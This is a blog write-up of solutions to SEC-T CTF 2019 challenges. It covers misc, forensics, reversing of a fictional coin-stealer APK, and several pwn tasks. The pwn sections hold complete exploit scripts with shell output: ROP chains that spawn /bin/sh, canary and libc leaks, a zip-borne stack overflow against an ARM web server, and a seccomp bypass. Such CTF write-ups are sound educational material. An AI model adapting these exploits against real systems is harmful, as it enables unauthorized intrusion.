CTFするぞ

CTF以外のことも書くよ

SEC-T CTF 2019 Writeup

SEC-T CTF 2019 had been held from September 18th, 15:00 to 19th, 21:00 UTC. I played this CTF in zer0pts and we reached 6th place with 4485pts.

f:id:ptr-yudai:20190920095325p:plain

It was a really nice CTF and I learned a lot. Thank you for hosting the CTF!

Here is the tasks and solvers for some challenges I solved.

[misc 79pts] sanity check

Description: Flag is in the topic of #sect-ctf @ irc.freenode.net 

The flag was written in the IRC.

SECT{SECT_CTF_2019}

[forensics, misc 197pts] diagram

Description: Don't trust the word of an android, they might cheat.
File: diagram

The given file is a rich text file which has a chart in it.

f:id:ptr-yudai:20190920090212p:plain

I found the y-axix is the ascii code of the flag and just decoded it.

SECT{4ndr0ids_sh0uld_b3_n1ce}

[misc, forensics 169pts] mycat

Description: My cat is planing something, find the hidden msg
File: mycat

We're given a broken PDF file. (maybe it just seems broken from evince.) I don't know what's intended but binwalk could extract the fixed PDF.

$ binwalk -e mycat
$ file _mycat.extracted/6A
_mycat.extracted/6A: PDF document, version 1.4

In the PDF is a large picture of a cat. I guessed the flag was hidden behind the picture and copied texts by Ctrl+A Ctrl+C, which successfully picked up the flag.

SECT{3mb3dd3d_f1l3s_c0uld_b3_tr1cky}

[re 240pts] rerere

Description: re rere rerere. Find the magic key, and encapsulate in SECT{...} to get the flag 
File: chal

It's a 64-bit ELF. It outputs 'Y' or 'N' depending on the following conditional jump.

cmp [rbp+is_wrong], 0
setz al
movzx eax, al
test eax, eax
jz short loc_97E

is_wrong is calculated in the following block (where edx is the i-th flag character and eax is unknown).

sub edx, eax
mov eax, edx
add [rbp+is_wrong], eax
add [rbp+i], 1

Since is_wrong must be 0, eax should be equal to edx, which means we can retrieve the flag byte by byte. I wrote the following gdb script to get the flag.

# gdb -n -q -x solve.py ./chal
import gdb

gdb.execute("set pagination off")
gdb.execute("b *0x55555555494b")
gdb.execute("run")

flag = ""
for _ in range(0x0D):
    eax = gdb.execute("p $eax", to_string=True).strip().split("= ")[1]
    flag += chr(int(eax))
    gdb.execute("set $edx = {}".format(eax), to_string=True)
    gdb.execute("continue", to_string=True)
print(flag)
SECT{p0l1y_cr4ck3r}

[pwn 537pts] rrop

Description: If you take a monkey hitting keys at random on a keyboard for an infinite amount of time, it will almost surely craft a rop chain.
File: chall
Server: nc rrop-01.pwn.beer 45243

The binary is a 64-bit ELF.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes     0               2       chall

The process is simple:

  1. user inputs seed and it calls srand(seed).
  2. calls mmap to allocate 0x8000 bytes and write random 0x8000 bytes with using rand(). also outputs the address.
  3. calls mprotect to make the region RX.
  4. calls mmap to allocate 0x1000 bytes stack.
  5. changes RSP to the new stack address + random offset.
  6. user inputs 0x100 bytes to rsp and ret.

So, we don't know any addresses except for rsp and mmaped RX region. We can use any part of the RX region as a rop gadget since it's executable. The point is to make a ROP chain using the randomly generated region.

It took several hours to come up with the idea but my ROP chain is to conclude:

  1. push rsp; pop rdi; ret: set rdi = rsp
  2. std; ret;: set DF = 1
  3. pop rax; ret;: set rax = 32-bit value to write
  4. stosd; ret;: set [rdi] = eax and rdi -= 4
  5. repeat step 3 and 4 until we finish writing every byte
  6. cld; ret: set DF = 0
  7. stosd; ret;: rdi += 4
  8. pop rax; ret;: set rax = 59
  9. syscall;: call execve("/bin/sh", 0, 0)

The hardest point, I think, is how to write "/bin/sh" to known address. After many attempts, I found stosb; ret; or stosd; ret; is a good gadget for this because it's 2-byte long and can be found in the random region with higher probability. We need to set back rdi to the top of "/bin/sh" but there's merely a good gadget to substitute some value from rdi. So, I used std; ret; to set the direction flag. By setting DF, stosd/stosb decrements rdi every time we use it. Thus, rdi will be pointing to the top of "/bin/sh" after writing every byte. Actually it's top-1 but we can increment rdi by setting DF to 0 by cld;ret and call stosd/stosb.

What we need are only the following 6 gadgets:

  1. 54 5f c3: push rsp; pop rdi;
  2. 58 c3: pop rax;
  3. 0f 05: syscall
  4. aa c3 or ab c3: stosb/stosd
  5. fd c3: std
  6. fc c3: cld

Since all of the above gadgets are small, we can easily find the good seed.

from ptrlib import *
import ctypes

glibc = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.27.so')

seed = 7282

#sock = Process("./chall")
sock = Socket("rrop-01.pwn.beer", 45243)
sock.sendlineafter("seed: ", str(seed))
sock.recvuntil("addr: ")
rop_base = int(sock.recvline(), 16)
logger.info("rop base = " + hex(rop_base))

glibc.srand(seed)
gadgets = b''
for j in range(0x2000):
    gadgets += p32(glibc.rand())
rop_pop_rax = rop_base + gadgets.index(b'\x58\xc3')
rop_pop_rdi = rop_base + gadgets.index(b'\x5f\xc3')
rop_ret = rop_base + gadgets.index(b'\xc3')
rop_mov_rdi_rsp = rop_base + gadgets.index(b'\x54\x5f\xc3')
rop_syscall = rop_base + gadgets.index(b'\x0f\x05')
rop_stosd = rop_base + 0x000000000000746a
rop_std = rop_base + 0x000000000000690d
rop_cld = rop_base + 0x00000000000023d4

def mov_rdi_rsp():
    payload  = p64(rop_ret) * 8
    payload += p64(rop_mov_rdi_rsp)
    return payload

def write_to_stack(val):
    payload  = p64(rop_pop_rax)
    payload += p64(val)
    payload += p64(rop_std)
    payload += p64(rop_stosd)
    return payload

payload = b''
payload += mov_rdi_rsp()

string = b'/bin/sh\x00'
for i in range(0, len(string), 4):
    payload += write_to_stack(u32(string[len(string) - i - 4:len(string) - i]))
payload += p64(rop_cld)
payload += p64(rop_stosd)
payload += p64(rop_pop_rax)
payload += p64(59)
payload += p64(rop_syscall)
payload += p64(0xffffffffffffffff)
sock.sendafter("rrop: ", payload)

sock.interactive()

Great!

$ python solve.py 
[+] __init__: Successfully connected to rrop-01.pwn.beer:45243
[+] <module>: rop base = 0x7f774cdef000
[ptrlib]$ cat flag
[ptrlib]$ SECT{cRe4tiv1tY_iS_intr0duc1nG_0rDEr_fr0M_RAnd0mN3sS}
SECT{cRe4tiv1tY_iS_intr0duc1nG_0rDEr_fr0M_RAnd0mN3sS}

[pwn 631pts] rrop_morr

Description: Kinda like before but this time do it properly. 
File: chall
Server: nc rrop2-01.pwn.beer 45243

This time we can't set seed and it's now srand(time(NULL)). However, the size of random gadgets is much bigger than that of the last challenge. So, my ROP chain works with very high probability.

from ptrlib import *
import time
import os

while True:
    #sock = Process("./chall")
    sock = Socket("rrop2-01.pwn.beer", 45243)
    sock.recvuntil("seed: ")
    seed = int(sock.recvline())
    sock.recvuntil("addr: ")
    rop_base = int(sock.recvline(), 16)
    logger.info("rop base = " + hex(rop_base))
    os.system("./a.out {}".format(seed))
    time.sleep(0.1)
    gadgets = open("gadgets", "rb").read()
    try:
        rop_pop_rax = rop_base + gadgets.index(b'\x58\xc3')
        rop_pop_rdi = rop_base + gadgets.index(b'\x5f\xc3')
        rop_ret = rop_base + gadgets.index(b'\xc3')
        rop_mov_rdi_rsp = rop_base + gadgets.index(b'\x54\x5f\xc3')
        rop_syscall = rop_base + gadgets.index(b'\x0f\x05')
        rop_std = rop_base + gadgets.index(b'\xfd\xc3')
        rop_cld = rop_base + gadgets.index(b'\xfc\xc3')
    except:
        sock.close()
        time.sleep(0.9)
        continue
    if b'\xab\xc3' in gadgets:
        bs = 4
        rop_stos = rop_base + gadgets.index(b'\xab\xc3')
    elif b'\xaa\xc3' in gadgets:
        bs = 1
        rop_stos = rop_base + gadgets.index(b'\xaa\xc3')
    else:
        logger.warn("Bad luck")
        continue

    logger.info("break at *" + hex(rop_syscall))

    def mov_rdi_rsp():
        payload  = p64(rop_ret) * 8
        payload += p64(rop_mov_rdi_rsp)
        return payload

    def write_to_stack(val):
        payload  = p64(rop_pop_rax)
        payload += p64(val)
        payload += p64(rop_std)
        payload += p64(rop_stos)
        return payload

    payload = b''
    payload += mov_rdi_rsp()

    string = b'/bin/sh\x00'
    for i in range(0, len(string), bs):
        payload += write_to_stack(u32(string[len(string) - i - bs:len(string) - i]))
    payload += p64(rop_cld)
    payload += p64(rop_stos)
    payload += p64(rop_pop_rax)
    payload += p64(59)
    payload += p64(rop_syscall)
    payload += p64(0xffffffffffffffff)
    sock.sendafter("rrop: ", payload)

    sock.interactive()

Perfect!

$ python solve.py 
[+] __init__: Successfully connected to rrop2-01.pwn.beer:45243
[+] <module>: rop base = 0x7f6ebce17000
[+] <module>: break at *0x7f6ebce171b6
[ptrlib]$ cat flag
[ptrlib]$ SECT{3vrY_pWn0GraphER_kn0Ws_U_c4Nt_sP3lL_pR0N_w17HoUt_r0P}
SECT{3vrY_pWn0GraphER_kn0Ws_U_c4Nt_sP3lL_pR0N_w17HoUt_r0P}

[pwn 631pts] lamehttpd

Description: The 'Droidcoinstealer'-crew seems to be using hacked routers as their command-and-control servers. Luckily, we were able to recover a sample of their custom httpd service
PWN their command-and-control server and recover all of those stolen Droidcoins!
Local players can turn in this flag at the ACNR-booth for swag and streetcred! 
Files: lamehttpd, helper.py, install_env.sh, libc-2.27.so
Server: nc lamehttpd-01.pwn.beer 8080

It's a 32-bit ARM ELF. I've never tried ARM exploit but this challenge is a really good introduction for someone like me. By running the distributed install_env.sh, we can easily setup the environment for ARM debug. Also for pwntools users, there's a template script (helper.py).

The hardest part is analysing the binary and finding the vulnerability. I'm really new to ARM and even don't have IDA Pro, so I used radare2 to disassemble the binary.

As the challenge title says, the program receives HTTP request and returns HTTP response. I found the following routes:

  1. /: just sends HTML code
  2. /stacktrace: dumps the stack and sends it as an HTML
  3. /stealwallet: receives POST parameters such as hasWallet=true and isEmulated=true but does nothing special

In the post_handler function, it checks if Content-Type: application/zip\r\n\r\n is included and if so, it calls compression_handler. It's curious. Let's check the function.

compression_handler reads the content as a zip file and extracts droidcoin.wallet if it's included in the zip. The point is that the extracted data is stored in a local variable with fixed length. So, here we have a Stack Overflow vulnerability. ASLR, SSP are enabled but we have /stacktrace to leak canary and libc base!

from ptrlib import *
import zipfile
import re

libc = ELF("./libc-2.27.so")
#sock = Process(["qemu-arm", "-g", "1111", "./lamehttpd"], env={'LD_LIBRARY_PATH': '/usr/arm-linux-gnueabi/lib/'})
#sock = Process(["qemu-arm", "./lamehttpd"], env={'LD_LIBRARY_PATH': '/usr/arm-linux-gnueabi/lib/'})
sock = Socket("lamehttpd-01.pwn.beer", 8080)
rop_pop_r0_pc = 0x0011e54c

# leak canary
payload  = b'GET /stacktrace HTTP/1.1\r\n'
payload += b'DEBUG: 1\r\n'
payload += b'Connection: Keep-Alive\r\n\r\n'
sock.send(payload)
x = sock.recvuntil(b"</html>")
r = re.findall(b"(0x[0-9a-f]+)", x)
canary = int(r[1], 16)
libc_base = int(r[9], 16) - libc.symbol("__libc_start_main") - 272
logger.info("canary = " + hex(canary))
logger.info("libc base = " + hex(libc_base))

# craft exploit
exploit = b'A' * 0x200
exploit += p32(canary)
exploit += p32(0xdeadbeef)
exploit += p32(libc_base + rop_pop_r0_pc)
exploit += p32(libc_base + next(libc.find("/bin/sh")))
exploit += p32(libc_base + libc.symbol("system"))
with open("exploit.bin", "wb") as f:
    f.write(exploit)

with zipfile.ZipFile('pwn.zip', 'w', compression=zipfile.ZIP_DEFLATED) as z:
    z.write('exploit.bin', arcname='droidcoin.wallet')

payload  = b'POST /stealwallet HTTP/1.1\r\n'
payload += b'DEBUG: 1\r\n'
payload += b'Connection: Keep-Alive\r\n'
payload += b'Content-Type: application/zip\r\n\r\n'
payload += open("pwn.zip", "rb").read()
#payload += b'hasWallet=true&isEmulated=true'
sock.send(payload)
print(sock.recvuntil("lamehttpd"))

sock.interactive()

YAY!

$ python solve.py 
[+] __init__: Successfully connected to lamehttpd-01.pwn.beer:8080
[+] <module>: canary = 0x7219e900
[+] <module>: libc base = 0xff667000
b'HTTP/1.1 200 OK\r\nServer: lamehttpd'
[ptrlib]$ cat flag
[ptrlib]$ SECT{g3t_r1ch_0r_d13_trY1ng}

[re 499pts] droidcoin

Description: The 'Night City' blackmarket is powered by 'Droidcoin'. An anonymous crypto-currency. The rogue androids seem to have hacked the 'Nighty City' ISP 'PWNcast'. With that access, they are pushing malware that will steal the users Droidcoins. This will fund their operations and we can't have that.
Analyze this sample and find the configuration file so we can locate their command-and-control server.
Local players can turn in this flag at the ACNR-booth for swag and streetcred! 
File: DroidCoinStealer.apk

We're given an APK. We can simply decompile it. In the MainActivity is the following piece of code.

JSONObject config_obj = new JSONObject(getConfig(genKey()));
tv.setText(config_obj.getString("flag"));

Let's check genKey method.

    private String genKey() {
        String k1 = Build.MANUFACTURER.toLowerCase().substring(0, 2);
        String k2 = Build.MODEL.toLowerCase().substring(0, 2);
        StringBuilder sb = new StringBuilder();
        sb.append(k1);
        sb.append(k2);
        sb.append(hasDroidWallet());
        sb.append(isEmulator());
        String key = sb.toString();
        StringBuilder sb2 = new StringBuilder();
        sb2.append("Decryption key: ");
        sb2.append(key);
        sb2.append(" len:");
        sb2.append(key.length());
        Log.e("DROIDCOINSTEALER", sb2.toString());
        return key;
    }

It extracts 2 bytes from MANUFACTURER and MODEL respectively. hasDroidWallet is defined as below.

    private String hasDroidWallet() {
        this.hasWallet = appInstalledOrNot("com.nightcity.droidcoinwallet");
        return Integer.toString(this.hasWallet ? 1 : 0);
    }

The description says this is a malware which steals droidcoin. So, this method should return 1. isEmulator is defined as below.

    private String isEmulator() {
        if (!Build.FINGERPRINT.toLowerCase().startsWith("generic") && !Build.FINGERPRINT.toLowerCase().startsWith(EnvironmentCompat.MEDIA_UNKNOWN) && !Build.MODEL.toLowerCase().contains("google_sdk") && !Build.MODEL.toLowerCase().contains("emulator") && !Build.MODEL.toLowerCase().contains("android sdk built for") && !Build.MANUFACTURER.toLowerCase().contains("genymotion")) {
            return "STEALCOINZ!";
        }
        this.isEmulated = true;
        return "NOTCOOLMAN!";
    }

It checks if the app is running on emulator. This method should return STEALCOINZ!. genKey concatnates the 4 parameters and the generated key should be something like ????1STEALCOINZ!.

Let's check getConfig method.

    public native byte[] decryptConfig(String str);

    private String getConfig(String key) {
        try {
            return new String(decryptConfig(key));
        } catch (Throwable th) {
            Log.e("DROIDCOINSTEALER", "Failed to decrypt config");
            return BuildConfig.FLAVOR;
        }
    }

decryptConfig is not defined in the code. It's defined in libnative-lib.so which is located at resouces/lib/x86. Let's analyse the binary with IDA.

The binary is not that complicated. Here is the C code:

char* key_adjust(unsigned char *key) {
  key[0xf] ^= 0x42;
  return key;
}

void decrypt(unsigned char* enc_cnf,
              int cnf_len,
              unsigned char *key,
              int key_len,
              unsigned char* output) {
  int i, j, k;
  char loopKey[0x100];
  char table[0x100];
  
  key = key_adjust(key);
  
  for(k = 0; k < 0x100; k++) {
    table[k] = k;
    loopKey[k] = key[k % key_len];
  }

  int x, y, ofs;
  char tmp;
  x = 0;
  for(j = 0; j < 0x100; j++) {
    x = (x + table[j] + loopKey[j]) & 0xff;
    tmp = table[x];
    table[x] = table[j];
    table[j] = tmp;
  }

  x = 0; y = 0;
  for(i = 0; i < cnf_len; i++) {
    y = (y + 1) & 0xff;
    x = (x + table[y]) & 0xff;
    tmp = table[x];
    table[x] = table[y];
    table[y] = tmp;
    ofs = (table[y] + table[x]) & 0xff;
    output[i] = enc_cnf[i] ^ table[ofs];
  }
}

decrypt is used here:

f:id:ptr-yudai:20190920103600p:plain

enc_cnf is copied from the binary:

f:id:ptr-yudai:20190920103718p:plain

Since the first pop eax is at 0xa81, the encrypted config is located at 0xa81 + 0x254b - 0x2248 = 0xd84. So, what we have to do is brute force unknown 4 bytes of the key to decrypt the encrypted JSON.

int main() {
  FILE *fp = fopen("libnative-lib.so", "rb");
  char buf[0xb0];
  char output[0xb0];
  char key[0x10] = "????1STEALCOINZ!";
  
  fseek(fp, 0xd84, SEEK_SET);
  fread(buf, 0x81, 1, fp);
  fclose(fp);

  char a, b, c, d;
  for(a = 'a'; a <= 'z'; a++) {
    key[0] = a;
    for(b = 'a'; b <= 'z'; b++) {
      key[1] = b;
      for(c = 'a'; c <= 'z'; c++) {
        key[2] = c;
        for(d = 'a'; d <= 'z'; d++) {
          key[3] = d;
          decrypt(buf, 0x81, key, 0x10, output);
          if (strstr(output, "flag")) {
            printf("%16s\n", key);
            printf("%s\n", output);
            exit(0);
          }
        }
      }
    }
  }
  puts("Not found!");
}

Cool!

$ ./a.out 
gopi1STEALCOINZc
{"version":"1337", "host":"droidcoin-c2-01.pwn.beer", "port":8080, "path":"stealwallet", "flag":"SECT{1nv3st_1n_dr01dc01nz_noW}"}

This challenge is related the the lamehttpd. After I solved this challenge, I understood what was lamehttpd intended for :-)

SECT{1nv3st_1n_dr01dc01nz_noW}

[pwn 660pts] blak flag

Description: Bet you can't leak a flag from this service. 
File: chall
Server: nc blakflag-01.pwn.beer 45243

It's a 64-bit ELF.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      No      0               0       chall

checksec says SSP is disabled but actually it's enabled. (This sometimes happens because it just checks __stack_chk_fail symbol and so on.) The program structure is really similar to that of gissa2 from Midnight Sun CTF 2019 but the vulnerability is completely different. It opens /home/ctf/flag and reads the contents by mmap. The binary has a Stack Overflow and Buffer Overread vulnerability. However, a function sub_AF5 is called right before returning from the main function. The function works like this:

memzero(flag, strlen(flag));
munmap(flag, 0x1000);
set_seccomp();

And the seccomp is:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0010
 0009: 0x06 0x00 0x00 0x00000000  return KILL
 0010: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0012
 0011: 0x06 0x00 0x00 0x00000000  return KILL
 0012: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0014
 0013: 0x06 0x00 0x00 0x00000000  return KILL
 0014: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0016
 0015: 0x06 0x00 0x00 0x00000000  return KILL
 0016: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0018
 0017: 0x06 0x00 0x00 0x00000000  return KILL
 0018: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0020
 0019: 0x06 0x00 0x00 0x00000000  return KILL
 0020: 0x15 0x00 0x01 0x00000055  if (A != creat) goto 0022
 0021: 0x06 0x00 0x00 0x00000000  return KILL
 0022: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0024
 0023: 0x06 0x00 0x00 0x00000000  return KILL
 0024: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0026
 0025: 0x06 0x00 0x00 0x00000000  return KILL
 0026: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0028
 0027: 0x06 0x00 0x00 0x00000000  return KILL
 0028: 0x06 0x00 0x00 0x7fff0000  return ALLOW

We can't use read, open, mmap, mprotect, clone, fork, vfork, execve, creat, openat, execveat and any x32 ABI. Be noticed we can still use write syscall to leak something.

I came up with some ideas and the following might be an easy way:

  1. readv(3, vec, 1);
  2. write(1, flag, 0x80);

So simple, isn't it? Even though we can't use read syscall, we have readv system call. Also, the file descriptor of the flag may be 3 as 0, 1, 2 are used for stdin, stdout, stderr respectively. The point is where to write iovec for readv. I though I could leak the stack address by buffer overread and use the input buffer for iovec. However, the offset from the leaked stack address to the input buffer changes every time I run the binary somehow. (I still don't know why.) If the iovec points to NULL or it's size is 0, the program won't crash and syscall just returns error. So, we can brute force the stack address and try several times.

As we don't have pop rax gadget, I used write to set rax to an arbitrary value.

from ptrlib import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./chall")
sock = Socket("blakflag-01.pwn.beer", 45243)

def set_rax(val):
    payload  = p64(rop_pop_rdx_rdi_rsi)
    payload += p64(val)
    payload += p64(1)
    payload += p64(proc_base)
    payload += p64(rop_write)
    return payload

# leak canary and proc base
payload = b'A' * 0x98
sock.sendlineafter(": ", payload)
sock.recvline()
canary = u64(b'\x00' + sock.recv(7))
proc_base = u64(sock.recvline()) - 0xf1e
logger.info("canary = " + hex(canary))
logger.info("proc base = " + hex(proc_base))
addr_pflag = proc_base + 0x203000

# leak stack address
payload = b'A' * (0xd0 - 1)
sock.sendlineafter(": ", payload)
sock.recvline()
stack_addr = u64(sock.recvline()) - 0x452
logger.info("stack addr = " + hex(stack_addr))

# prepare rop gadget
rop_pop_rsi = proc_base + 0x00000f95
rop_pop_rdi_rsi = proc_base + 0x00000f94
rop_pop_rdx_rdi_rsi = proc_base + 0x00000f93
rop_syscall = proc_base + 0x00000f50
rop_write = proc_base + 0xf53
logger.info("break *" + hex(proc_base + 0xf1d))

# crop
payload  = b'A' * 8
#_ = input()
payload += (p64(proc_base + 0x203000) + p64(0x400)) * 9
payload += p64(canary)
payload += p64(0)
for i in range(0x10):
    payload += set_rax(19)
    payload += p64(rop_pop_rdx_rdi_rsi)
    payload += p64(1)
    payload += p64(3)
    payload += p64(stack_addr - 0x100 * i)
    payload += p64(rop_syscall)
    payload += p64(rop_pop_rdx_rdi_rsi)
    payload += p64(0x80)
    payload += p64(1)
    payload += p64(proc_base + 0x203000)
    payload += p64(rop_write)

sock.sendlineafter(": ", payload)

sock.interactive()

Perfect!

$ python solve.py 
[+] __init__: Successfully connected to blakflag-01.pwn.beer:45243
[+] <module>: canary = 0xafe165b77aabea00
[+] <module>: proc base = 0x55e67fc75000
[+] <module>: stack addr = 0x7fff454d4ad0
[+] <module>: break *0x55e67fc75f1d
[ptrlib]$ it is not AAAAAAAA
ELF>ELF>ELF>ELF>ELF>ELF>ELF>ELF>ELF>ELF>ELF>SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS}
ELF>SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS}
ELF>SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS}
ELF>SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS}
ELF>SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS}
ELF>SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS}
/home/ctf/redir.sh: line 2:  5071 Segmentation fault      (core dumped) ./chall
SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS}

[pwn 537pts] baby0x01

Description: You gotta crawl before you can walk... 
Server: nc baby0x01-01.pwn.beer 45243
File: chall

Similar to blak flag, it has Stack Overflow and Buffer Overread vulnerability and this time there's no seccomp. I leaked the address of puts and found it's libc-2.27. That's it.

from ptrlib import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
elf = ELF("./chall")
#sock = Process("./chall")
sock = Socket("baby0x01-01.pwn.beer", 45243)

# leak canary
payload = b"A" * 0x49
sock.sendlineafter(": ", payload)
r = sock.recvline()
canary = u64(b'\x00' + r[-13:-6])
proc_base = u64(r[-6:]) - 3024
logger.info("canary = " + hex(canary))
logger.info("proc base = " + hex(proc_base))

# prepare rop gadget
rop_pop_rdi = proc_base + 0x00000c33
rop_ret = proc_base + 0x0000072e

# prepare rop chain
payload = b"A" * 0x48
payload += p64(canary)
payload += p64(0)
payload += p64(rop_pop_rdi)
payload += p64(proc_base + elf.got("puts"))
payload += p64(proc_base + elf.plt("puts"))
payload += p64(proc_base + 0x7d0)
sock.sendlineafter(": ", payload)

# libc leak
sock.sendlineafter("buffer: ", "")
libc_base = u64(sock.recvline()) - libc.symbol("puts")
logger.info("libc base = " + hex(libc_base))

# get the shell!
payload = b"A" * 0x48
payload += p64(canary)
payload += p64(0)
payload += p64(rop_ret)
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
payload += p64(0xffffffffffffffff)
sock.sendlineafter(": ", payload)
sock.sendlineafter("buffer: ", "")

sock.interactive()

Easy.

$ python solve.py 
[+] __init__: Successfully connected to baby0x01-01.pwn.beer:45243
[+] <module>: canary = 0x5d4c172a5c15f00
[+] <module>: proc base = 0x559389804000
[+] <module>: libc base = 0x7f15fcfbb000
[ptrlib]$ cat flag
[ptrlib]$ SECT{g0_Go_g4dG37_m4st3r}

Perhaps leaking the libc version is not intended.

SECT{g0_Go_g4dG37_m4st3r}

I think this and the next challenge should've been released much earlier. Appearently many teams didn't notice baby pwns were released and as a result the score is same as that of rrop :-(

[pwn 305] baby0x02

Description: You gotta walk before you can run... 
Server: nc baby0x02-01.pwn.beer 45243

The program reads whatever file. Let's see what happens when I read flag.

Options: 
   1) read
   2) write

> 1
file: flag
size: 80
seek: 0
data: SECT{7H3_anDr01ds_haV3_beC0m3_pr0C_s3lF_AwArE}

WTF!

SECT{7H3_anDr01ds_haV3_beC0m3_pr0C_s3lF_AwArE}